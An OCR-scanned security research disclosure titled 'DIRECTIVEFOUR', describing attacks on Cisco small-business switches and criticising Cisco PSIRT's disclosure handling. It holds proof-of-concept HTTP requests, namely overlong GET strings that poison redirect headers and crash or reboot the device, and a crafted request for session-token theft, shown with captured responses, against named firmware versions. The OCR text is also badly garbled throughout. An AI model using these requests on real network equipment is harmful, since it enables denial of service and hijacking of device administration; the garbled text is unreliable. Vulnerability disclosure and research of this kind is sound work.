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DIRECTIVEFOUR — Preface & Continuation of COOLHANDLUKE

“Every XSS or unsanitized input vector on a Layer 2 or Device (router or switch) is a covert
network protocol waiting to happen.” — Ken “singularlty” Pyle

In my previous works, | disclosed an attack which bypasses Layer 2 protections via
persistent XSS payloads and utilized poisoned, limited, unsanitized space. The devices |
was attacking were currently updated (5/2022) Aruba Networks / HPE Procurve switches.

In that disclosure, | noted that | had been exploiting this technique to perferm some exotic
exploitation and access control list bypasses:

I have been performing this attack and have working PoC for manydether switchpAP, and
router families (Cisco / Dell / Netgear / D-Link /' 3Com / Linksys / etCI

In this work, | am going to show one of those techniqués and howdabusing persistent XSS /
polyglot payloads can allow for robust protocol creation similar to COOLHANDLUKE and
allows an attacker to exfilirate, encapsulate, and tunnel their malicious traffic

between |Pv4 and IPv6 networks without a router.ul call the technique and protocol
“DIRECTIVEFOUR.”

DIRECTIVEFOUR — Polyglot Exploitationsand lnteractions\with Cisco’s PSIRT

During private disclosure of the vulnerabilties usedrin this paper, | had made an oblique
reference to this attack chain via email discusgions with Cisco PSIRT. On 11/17/2021, Cisco
PSIRT and | had attempted toicontinue wierking on this issue, unsuccessfully.

Cisco PSIRT Response highlighted in red, my DIRECTIVEFOUR reference is noted:

“How can you weaponize the reboot issue in this context in a way that cannot be done by simply triggering a reload of the device via
the regular web UI?

8.  <directive four>
9. | would suggest familiarizing yourselves with flexible file format research and the various exploitation methods others have
explored. Many of these are XML based... https://code.google.com/archive/p/corkami/

What specific format(s) do you have in mind? There's just too many of them explained here to blindly look through them all.
10. Please go back and read my research again when you get to this point.

What specific part(s) of your research do you have mind here? What dots do you expect me to connect?
https://en.m.wikipedia.org/wiki/Polyglot_markup

Another suggested reading. As you will see, the work | have been providing you and validating Is a form of XML file polyglot. | have
simply found a number of holes in your devices that allow them to be persistently exploited and abused for both client and server side
exploitation.

https://philarcher.org/diary/2011/polyglot/

Hope this clarifies things a bit more.

| have read through the documents on Polyglot markup, but fail do see the connection to the issues you reported. Can you please
elaborate on what exactly you have in mind here?

Thanks and best regards,

<REDACTED>"
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Unfortunately for Cisco, | am not in the business of doing their work for them: “You can
bring a horse to water, you can't hold their head under until they drown.” As much as I'd
like to drown some “horses” for free sometimes, | do like to get something for my frequent
horse drownings and private academic / capabilities development work. At the very least,
the accepted currency for “white hat”, responsible disclosure is public attribution and
acknowledgement. This never materialized.

Even more disturbing fo me: none of what we will be working through is complex or
requires advanced tools. | have put this work together using nothing mofe complex than an
intercepting proxy (Burp Suite) to step through and visualize concepts. All'of this should be
easily understood by most security experts... particularly Cisco's.

Simply put... this type of response, at best, is exploit begging by one of the biggest and
most respected PSIRTs in the world: 7he people writing the books. The people tasked with

Jjudging the impact and responsible disclosure of vulnerabilities in their own products.

After all of this, | was left with an unavoidable question: "Sheu/d we continue fo trust this
process and self-policing?”

So, after years® of drawn out coordination and fruitless,exchanges on numerous cases, |
essentially walked away from this process..| am answering their inquiries publicly via

research publication and disclosing my workto the world.

Is this attack & technique that difficultito understand? Are these exposures potentially
impactful?

You be the judge.

Here is my argdment.

*Yes, VEARS: Cisco SMB Products — Ciritical Vuinerablities / O-day Release — Ken Pyle
(Shmoocon 2020) - YouTube
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Concept & Theory — “Layer 7 Matters at Layer 2” (Reprinted)

The core concept behind my work is simple, “Layer 7 Matters at Layer 2.” Switches and
routers are essential pieces of network infrastructure over which all traffic and information
eventually pass. Web application and protocol weaknesses which can be seen as “low
impact” or trivial can be used by an attacker to obtain and maintain total control of
targeted networks, organizations, and enterprises™.

Ok, but why?

The idea is very straightforward and very well documented:

Routing under normal operation

¢ Hub/ S b
. . i

Routing subject to ARP cache poisoning

£ Hubl 3 ‘ E

Malicious
User

Credit: ARP poisoning/spoofing: Hownato detect & prevent it (comparitech.com)

"Scoring and analysis of flaws discovered infrastructure components by responsible
organizations are generally poor or potentially & intentionally understated.
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An attacker controlling Layer 2 / 3 has full control of all protocols traversing the vulnerable
device. Controlling the physical & logical device brokering or transmitting data between
endpoints allows an attacker to eavesdrop, poison, and attack all traffic and access
controls at the “higher layers” of the OSI Model:

OSI (Open Source Interconnection) 7 Layer Model

Layer Application/Example Central Device/ DOD4
Protocols Model
Application (7) | End User layer Program that opens what User
Serves 23 the window for users and was sent or creates what is to be sent Applications
appiicaion processes 1o acoess he setwork | Resource sharing « Remcte fle access + Remote printer access « ,
servces Directory sonicos « Network managarment SMT?Y
Presentation (6)| Syntax layer encrypt & decrypt (i needed) .
[ — JPEG/ASCI R
et B can b vwed oa ha | Chavacter code + Data * Data + | EBDICITIFFIGIF
Oote encryplion - Set PICT G
Session @ | Synch & send to ports (logical ports) | Loglcal Ports | A
Nl sonlon sibiAdument Iukmds | 5eve.cn ; and ~semion | recisaunes | T
=z . IR Svoror - perform securky. recognition, logging, et NotBIOS names E
Tl'al‘lsport (4) | TCP Host to Host, Flow Control 7
Ensures hat messages ave delvered S : L w u::“b
m-‘:;:w-a.w‘m ""”".MMM_ mulsplexing c E TCPISPX/UDP A
K
Network (3) [ Packets (letier. contains IP address) |g R|  Routers | Y
Cortrols the operancna of the utoet. TN Intemet
whh physxal pat the Routing + Subnet traflic control + Fraeme fragmntaton « - [————
data tanes Logical-physical address mapping + Sutnet usage sccountng used
an
Data Llnk (2) [I:Irbames (;envelop:?;. cor]\!ains M(AC ndg:ss) g:::: :.,,
> Card —— Swich— card] ond 10 o
n'm:rzm:r Estatishes & lermnates De kopcal Iea beteven nodes + Frane WAP
pasbrgh e et e | pppisu |
Physlcal (1)' | Physical structure Cables, hubs, etc Hub |'**
Concemed with the Yansmisskn and
fwosption of the unstivchured raw Bl akeam | Poon Socodng - Picl heaum stsciments .
aver Physical medum Bits & Vors

An OS| Model for Cloud - Cisco Blegs

The provided code & file transfer protocol violate 1Pv4 / IPvé6 protocol separation & routing.
DIRECTIVEFOUR can be used to routen& exfilirate data or to implant & execute malicious
code through methods which bypass detection most modern firewalls, SIEMS, application
firewalls, and traditional seeurity.controls. /n most cases, error messages produced by these
controls are nonsensicalor indicate the attack was stopped / unsuccessful.

Building on previous conceptsiand attacks (https://cybir.com/2022/cve/layer7mattersatlayer2-
coolhandluke/), Twill e showing file data delimiters, the ability to segment / reassemble files
via multipleninjections, ‘@and{providing basic exploitation concepts which allow for
segmented upload & download of the files / exfiltrated data via any modern OS or platform
and using rudimentary tools (Web browser and Telnet)
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Layer 7 Matters at Layer 2 - Polyglot Exploitation to the Max

Even as simple / traditional web application & exploitation attacks, the exposures | will walk
through here have been officially classified by Cisco's PSIRT as:

e High SIR security advisory titled “Cisco Small Business Series Switches Session

Credentials Replay Vulnerability” / CVE-2021-34739 ("CENTAUR")

e Bug ID CSCwa02039 titled “Session ID is too short” (SOUNDBOARDFEZ)

e Bug ID CSCvz62305 titled " Crash when invalid sessionID, but valid credentials are
supplied during login” (“"CAKEHORN")

e Bug ID CSCvz63121 titled "Host header injection in web UI" ("MAGNIFICENTSEVEN")

e Medium SIR security advisory titled "Cisco Small Business 200, 300, and 500 Series
Switches Web-based Management Interface Denial of Service Vulnerability” / CVE-
2021-40127 (PROCESSION)

Notice, most of the issues I'm demonstrating here are not assigned CVE numbers.

Cisco refuses to publicly attribute my work and researchito'me”. We disagree on impact
on the “simple” and “traditional” definitions of impaet; building exotic exfiltration protocols
via persistent XSS is far beyond anything theysare geingite be willing to acknowledge.

Refined as polyglot attacks (DIRECTIVEFQUR), these exploits and exposures become
exotic communications channels, methods for. protocel creation and tunneling, and covert
channels for malicious code storage & transmission: Polyglot exploitation to the max.

Proof of Concept will be pfovided here for.creation of a more complex protocol than the
previously disclosed “COQLHANDLUKE". The protocol outlined here (DIRECTIVEFOUR)
will provide file segmentation.andidelimiters, a rudimentary acknowledgement system, and
the ability to routestraffic between IPv4 and IPv6 “islands” without the benefit of a
traditional Layeér 3 device orxouter

Incredibly;,ourpayload window will not exceed 410 bytes.

“"As a polieysiCisco does not attribute “bugs” fo researchers. From my original disclosures
alone, Cisco has done their best fo, in my analysis, downplay this issue. Classify it as a
“bug” and you rob the researcher of the “agreed to” currency for “white hat” researchers:
recognition and attribution .

“On top of that frankly, | find them fo be difficult to work with. They have historically
provided poor response times for coordinated disclosure by their own admission
(httos://blogs.cisco.com/security/a-culture-of-transparency). Also see Additional
Information.
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Proof of Conce — Overview / Demonstration Configuration via Cisco SF /' SG Switches (vi4.1.5)

This work provides PoC and kill chains for common deployment scenarios and / or best
practices & documentation.

Vendor documentation and references are provided where available.
Test Equipment:

Cisco SG500-48 Port Switch using firmware 1.4.11.5
Cisco SF200-24 Port Switch using firmware 1.4.11.5

These are the final firmware revisions available for these devices. However, “newer”
devices utilizing essentially the same core firmware are still actively supportedby Cisco as

well as other manufacturers (ex. Dell X & VRTX).

Updated firmware is available for these newer devices. Several disclosed and undisclosed
vectors and vulnerable injection points remain valnerableiasief 5/2022.

The issues and vulnerabilities provided heréWwere reported-within Cisco’s published support
& update window. (Late 2019 — 2022). Several issues remain unresolved or unpatched
despite assurances via Cisco PSIRT these would be addressed in early 2022. Requests for
this information were not answered.
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PROCESSION — Application Fuzzing / Persistent XSS / Persistent DOS through Buffer Overflow /
Excessively Long Crafted HTTP/HTTPS Request

Certain implementations of the associated application set & controls implemented by Cisco
to customize or protect the affected switch platform are exploitable by attackers to trigger
critical conditions.

GET Jf| HTTRf1.1
Host !

(WA O

= — L0 (¥11: Linu
Accept: text/html,application/xhtm
Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

¥ Y

In this example, a Cisco SX/SG/SF series switch fails o, properly sanitize or perform bounds

checking on user controllable requests. The attacker crafts an excessively long request.
After this malicious request is submitted, the LOCATION, field and all future HTTP server
responses will be persistently poisoned:

GET
SCYBIRPOCCYBIRPOCCYBIRPOCCYEIRPOCCYEBIRPOCCYBIRPOCCYBIRPOCCYEIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYEBIRPOCCYET
RPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCY BIRPOCCY BIRPOCCY BIRPOCCY BIRPOCCY BIRPOCCYEBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCT
YBIRPOCCYBIRPOCCYBIRPOCCYEBIRPOCCYEBIRPOCCY BIRPOCCY BIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCY BIRPOCCYBIRPOCCYBIRP
OCCYBIRPOCCYBIRPOCCYEBIRPOCCYEIRPOCCY EIRPOCCY BIRPOCCY BIRPOCCYEBIRPOCCYEIRPOCCYEIRPOCCY BEIRPOCCYEBIRPOCCYBIRPOCCY B
IRPOCCYBIRPOCCYBIRPOCCYEIRPOCCY BEIRPOCCYBIRPOCCYBI RPOCCYBIRPOCCYEIRPOCCYBIRPOCCY BIRPOCCY BIRPOCCYBIRPOCCYBIRPOC
CYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCY BIRPOCCYBIRPOCCYBIRPOCCYBIR
POCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYEIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCY
BIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCY BIRPOCCY BIRPOCCY BIRPOCCY BIRPOCCYBIRPOCCYBIRPOCCYBIRPO
CCYBIRPOCCYBIRPOCCYBIRPOCCY BIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCY BIRPOCCY BIRPOCCY BIRPOCCYEBIRPOCCYEIRPOCCYEIRPOCCYET
RPOCCYBIRPOCCYBIRPOCCYBIRPOCCYEIRPOCCYEIRPOCCY BTIRPOCCY BTRPOCCYBIRPOCCYBIRPOCCYEIRPOCCYBIRPOCCYBEIRPOCCYEIRPOCC
YBIRPOCCYBIRPOCCYEBIRPOCCYEBIRPOCCYEBIRPOCCY BTRPOCCY BIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYEIRPOCCYBIRPOCCYBIRPOCCYEIRP
OCCYBIRPOCCYBIRPOCCYBIRPOCCY BIRPOCCYBIRPOCCY BIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCY BIRPOCCYBIRPOCCYBIRPOCCY B
IRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYEBIRPOCCYBIRPOCCYBIRPOCCYEIRPOCCYEBIRPOCCYBIRPOCCYBIRPOC
CYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYEBIRPOCCY BIRPOCCY BIRPOCCY BIRPOCCYBIRPOCCYBIR
POCCYBIRPOCCYEBIRPOCCYBIRPOCCY BIRPOCCYBIRPOCCYEBIRPOCCYEIRPOCCY BIRPOCCY BIRPOCCY BIRPOCCY BIRPOCCYBIRPOCCYEIRPOCCY
BIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYEIRPOCCYBIRPOCCY BIRPOCCY BIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYEIRPO
CCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYEBIRPOCCY BIRPOCCY BIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCY BT
FPOCCYBIRPOCCYBIRPOCCYEIRPOCCYEIRPOCCYBIRPOCCYBIRPOCCYEIRPOC HITP/1, 1

2 Host:

User-Agenu: rmueiciay5.0 (X11; Linux xB6 84; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/webp, */*:q=0.8

Accept-Language: en-US,en;g=0.5

£ Accept-Enceding: gzip, deflate

7 Upgrade-Insecure-Requests: 1

Cache-Control: max-sge=0

moe W

The @pplication‘accepts this input and the buffer is affected / fuzzed. The LOCATION
field 'shows the previous request persistently injected / reflected.

E fures e HEQRT G
Location: /cs4f41fc43/CYBIRPOCCYBIRPOCCY BIRPOCCYBIRPOCCYBIRPOCCYEIRPOCCY BIRPOCCYBIRPOCCYBIRPOCCYEIRPOCCYEIRPOC | o
OCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCY BIRPOCCY BIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCY BT
BIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCY BIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOC
OCCYBIRPOCCYEBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCY BIRPOCCYEBIRPOCCY BIRPOCCY BIRPOCCYBIRPOCCY BIRPOCCY BIRFOCCYEIRPOCCYEL

11 <html>

<head>
=fhead=
R,
12 This document has moved to a new <a href="/cs4f41fc43/CYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYEBL

OCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOC
BIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCY BIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYET
OCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCY BIRPOCCY BIRPOCCYBIRPOCCY BIRPOCCYBIRPOCCYBIRPOC

Flease update your documents to reflect the new location.
=fbody>
<fhtml=
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The 302 redirect is also persistently poisoned:

1 HTTPRPs1L.1 =ZS02 Redirsect

2 Serwver: GoAhead-Webs

= Date: Wed aApr O8 135703 2020

4 Connection: close

= Pragma: no-cachese

= Cache-Conmtrol: nmno-cache

7T Content-Type: text shtmlL

o 1| g ) e e e o i | e e g

O Location: YEBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCOCYBI RPC
ITRPFPOCCYBIRPOCCYBIRFPOCCYEIRPOCCYEBEIRPOCCYBIRPOCCYBIRFOCCY BIRFPOCCYE

(] =statusCode=Ad=ystatusCode=

Ak =deviceStatusCode=0=deviceStatusCode=

=2 =statusString=Request Is not authenticated=/statusString=

= =sAactionStatus>

=3 =y ResponseData=

=

-~

=html =

=head=

=y, head=

=bodwy=
This document has moved to a new =a href="YEIRPOCCYBEIRPOCCYE
TRPOCCYBEIRPOCCYEIRPOCCYETI RPOCCYET RPOCCYETIRPOCCTY BT RPOCCYBI RPC
=statusCode=d4</statusCode=
=deviceStatusCode=0=ydeviceStatusCTode=>=
=statusString=Request Is not authenticated=sstatusStrina=
=, ActionStatus>
=/SResponseData=
FUrlocation=sSsa>=

o

1&

=] Flease update wvour documents to reftflect the nmnew Location.
5 =S body=
=/ html =

The management web interface isfnow disabled and the device must be rebooted to clear
the condition:

& C RP

ccess Error: Request Entity Too Large

TP Header Field exceeds Supported Size

This vector. can be exploited without authentication . This attack also prevents legitimate
HTTR/ HTTPSbased administration of the device, an important consideration which will
be examined later.\During testing and analysis activities, it was found that a Cold reboot
of the device is necessary to clear this condition®.

"Absolutely true... except for one very specific and exploitable caveat. You will see why /
sat on this one a few sections from now.
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Repeated submission of this or other crafted strings of excessive length or particular
content to the API will trigger an immediate reboot / DOS of the device. This is due to
vulnerable components and application design flaws in how client side API calls and XML
are handled (ex. WCD, SYSTEM, other endpoints.)

Proof of Concept Code:

GET
/CYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRP
OCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBI
RPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRROCCYBIRPOCCY
BIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOC
CYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPO
CCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCLYBIRPOCCYBIRP
OCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRROCCYBIRPOCCYBIRPOCCYBI
RPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCEYBIRPOCCYBIRPOCCY
BIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOC
CYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPO
CCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRP
OCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBI
RPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCY
BIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOC
CYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPO
CCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRP
OCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBI
RPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOECCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCY
BIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOC
CYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPO
CCYBIRPOCCYBIRPOCCYBIRPOC /wed?

Seen here, the reply is truncated as the affected,device is fuzzed and immediately reboots.
Pings shown to demonstrate device isino longer responsive & rebooting:

GET 1 HTTR#1.1 208 OK
FCYBIRPOCCYBIRPOCCY BIRPOCCY BIRPOCCY BIRPOCCYBIRPOCCYBIRPOCCYEIRP 2 Content-Type: text/xml
QCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYEIR Expires: Wed Apr 08 14:02:43 2020
POCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYEBL Date: Wed Apr 08 14:02:43 2020
RPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYE X-KS5-Protection: 1; mode=block

W

IRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYEBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCY & Cache-control: no-cache
BIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCC 7 Pragma: no-cache
YBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOC O Accept-Ranges: bytes

CYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPO 2 Connection: close
CCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRFP 10 X-Frame-Options: SAMEORIGIN
OCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIR 11 esrftoken: (null)
POCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYEBIRPOCCYBIRPOCCYEL 12
RPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYE 13 <7xml version='1.0' encoding='UTF-8'7=
IRPOCCYBIRPOCCYBIRPOCCYEBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCY 14 <ResponseData=
BIRPOCCYEIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCC 15

%

= <ActionStatus=
YBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOC 16 i

sion=

CYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCY BIRPOCCYEBIRPOCCY BIRPOCCYBIRFO 1.0

CCYBIRPOCCYBIRPOCCYBIRPOCCYEIRPOCCY BIRPOCCY BIRPOCCYEBIRPOCCYEBIRP =fversion=

0CCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCH IRPULLYEIRPULLEBIRPOCCYBIR 17 Ao il
POCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCQYBIRPOCCYBIRPOCEYBIRPOCCYEL /A CYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYEIRPOCCYBIRPOCCYBIRPT
RPOCCYBIRPOCCYBIRPOCCYBIRPOCCYEIRPOQCYBIRPOC /wed? HETP/L.1 IRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYE
Host: CCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPOCCYBIRPO

User-fAoent: Mozilla/5.0 (X11: Linux XO0 04 TV. /0.0
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Further, additional crafted requests / calls to SYSTEM. XML and similar fu’rions also
produce this condition:

ST OLRFULL T DLFFULL T DL R UL T DL R
RPOCCYBIRPOCCYBIRPOCCYBIRPOCCYEBIR

Reply from y 32 time=1ms TTL=64
General failure.
General failure.

General fai

Reply from Destination host unreachable.

Poisoned LOCATION tag:

x'-FrTE wba_srvr/is/login.js I-lT‘I'F'.'I. : HITP/L.1 302 Redirecc
Hox Server: Gohhead-Webs
Cookie: activelLangld= Pace
Comnmection: closs
Fragma: no-cache
Cache=-LControl: mo=-caches
Upgrads=Insscure=-Fequests: 1 Contsnt=Typs: text/heml
Accept~Encoding: gmip, detflate L i pek e |
Accapt . . Location
Accapt-Language: =n-U5 sn-GB;q=0.5, en;q=0_8 < fActionStatus>
User=Agent: MHomillas%. 0 (Windows NT 10.0; WinEd; =x&d “f/Responselat as
ApplaWebEic /537.36 (FHTHL, lilke Ceckol Chrome/50.0.4430.212 -w!l.-.q_t:'.': fMAnflogin.is
Satarl/537, 36
cloke dhtml»
neroel: max-age=0 <haad>
/ i®

fhis dosument has movedjto a n
ActionSt acus
fResponseDacar

fuba_srvyr/in/login, IN"rJocaris

Please updats your documsnts t
£ /bodys

L/heml >

Monitoring, of consoley/ Proof of Persistent Fuzzing & Denial of Service. The console
indicates.the‘exploited ‘condition and crash of GO AHEAD web server:

(websParseRequest: malformed key or v

@' CY B | R (267) 540-3337 pg. 13



PROCESSION / SOUNDBOARDFEZ - Session Theft & Authentication Bypass via HTTPS/HTTP
Injection

Abuse of this unintended device functionality allows an attacker to hijack session tokens
through the response headers / lack of proper sanitization or MiTM & ARP poisoning
attacks.

In this example, the attacker submits a specially crafted request via unauthenticated GET
to a vulnerable Cisco switch:

GET
AARAAAAAAAAAAAAAAARAAAAAAAAARAAARARAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAARAARAAAAAAARAAAAAAARAAAAAARAAARAAAA
AAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAARARAAARAAAARAAAALAARLAAAAAAAAAAARAAABAAAAAARAAAARAARAAAAAAARLARAAARAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAARAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAARAAAAAAAARAAAAAAAAAASARAAAAAAAAAAAARLAAALAAAAAAAAAAASAAARAAAAAAAAAAARAAARAAAAAALARAAAAAARA
AARAAAAAAAARAAAABAARAAAAAARAAAAARARAAAAAAAAAAARARARAAARAAAARAAAARARAAARAAAARAARAAARAAAAAAARAARAAAARARAAARAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAARAAAARAARAAAAAAAARAAARAAARAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAARAAAARAAAAAAAAAA
AAMAAAAAAAARAAAARAAAAAASAAAAAAARAAAAAAARARAAAAAAAARAAAALARALAAAAAAAAAARAAAASAAAAAAAAAAAAAARAAAAAAALAAAAAAAAAA
AAAAAAAAAAAAAAAAAAARAAAAAAAAAAARAAARAAAAAAAAAAAAAAAAAARAAARRAARAAAAARARAAAAAAAAAAARARAAAAARAAAAAAARARAAARALAA
AARAAAAAAAAAAAAAAARAAAAAAAAARAAARARAAAAAAAAAAAAARAAAAAAAAARAAAAAAAAAAAAAAAAAARAAAAAAARAAAAAAARAAAAAARAAARAAAA
AAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAARARAAARAAAARAAAALAARLAAAAAAAAAAARAAABAAAAAARAAAARAARAAAAAAARLARAAARAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAARAAAAAAAAAAAAAAAAAAAAAAAAAARAAAALAAAAAAAAAAAAAAAAALA
AAAAAAAAAAAABAAAA fwed?

User-Agent: Mozilla/5.0 (¥11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml, application/xml;q=0.9,image /webp, ¥/¥;q=0,8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Cannection: close

The web application returns the rejected request:

=fxml wersion='1l.0' encoding='UTF-8'?=
=Responselata=
=ActionStatus=
<yersion=
1.0
=fversion=
=requestURL=
AAAA AR AR AR AR AAARAAA AR AAAAAARAAARAARS
AAAA AR A AR AR AR AAALRAAR AR AARAAAARAARARARA
AARAAARAAAAAARALARARARRAARAARRAARAARAAARAAARG
=/requestURL>
<statusCode=
4
=/statusCode=
